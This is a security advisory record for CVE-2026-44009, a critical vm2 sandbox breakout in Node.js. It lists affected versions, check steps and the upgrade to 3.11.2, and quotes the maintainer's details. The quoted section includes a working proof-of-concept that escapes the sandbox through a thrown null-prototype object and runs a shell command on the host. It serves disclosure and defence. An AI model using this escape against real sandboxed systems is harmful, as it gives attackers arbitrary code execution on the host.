---
id: "CVE-2026-44009"
kind: "vulnerability"
aliases: ["CVE-2026-44009", "GHSA-9vg3-4rfj-wgcm"]
title: "vm2 has Sandbox Breakout Through Null Proto Exception"
severity: "critical"
cvss: 9.8
epss: 0.00812
exploited: false
status: "open"
category: "package"
products: [{"name": "vm2", "fixed": ["3.11.2"], "affected": "< 3.11.2", "ecosystem": "npm"}, {"name": "vm2 project vm2", "fixed": ["3.11.2"], "affected": "< 3.11.2", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-653", "cwe-668", "node.js", "npm", "package", "sandboxing", "vm2"]
not_affected_if: ["fixed-version", "no-untrusted-code", "vm2-not-installed"]
published_at: "2026-05-08T16:20:58+00:00"
first_seen_at: "2026-11-04T03:36:21+00:00"
updated_at: "2026-11-04T03:46:40+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9vg3-4rfj-wgcm", "first_seen_at": "2026-11-04T03:36:21+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44009", "first_seen_at": "2026-11-04T03:46:40+00:00"}]
---

# vm2 has Sandbox Breakout Through Null Proto Exception

vm2 is a Node.js sandbox for running untrusted code. A null-prototype object thrown and caught inside the sandbox lets attacker code reach the host Function object and run arbitrary commands on the host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:vm2 affected < 3.11.2 fixed 3.11.2
- vendor:vm2 project vm2 affected < 3.11.2 fixed 3.11.2

## How to check

- Check the installed version with `npm ls vm2` in each project.
- Search lockfiles for `vm2` to find transitive copies.
- Look for code that runs untrusted input through `new VM()` or `NodeVM` from vm2.

## Fix

- Upgrade `vm2` to `3.11.2` or later.

## Timeline

- 2026-11-04T03:36:21+00:00 ghsa https://github.com/advisories/GHSA-9vg3-4rfj-wgcm
- 2026-11-04T03:46:40+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-44009

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9vg3-4rfj-wgcm
- [advisory] Maintainer's advisory: github.com https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm
- [fix] Release: github.com https://github.com/patriksimek/vm2/releases/tag/v3.11.2
- [fix] Patch: github.com https://github.com/patriksimek/vm2/commit/c33c2bb19a822847f4e01d8d87b28dd5b2c86b3e

## From the sources

### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.

### PoC

```js
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
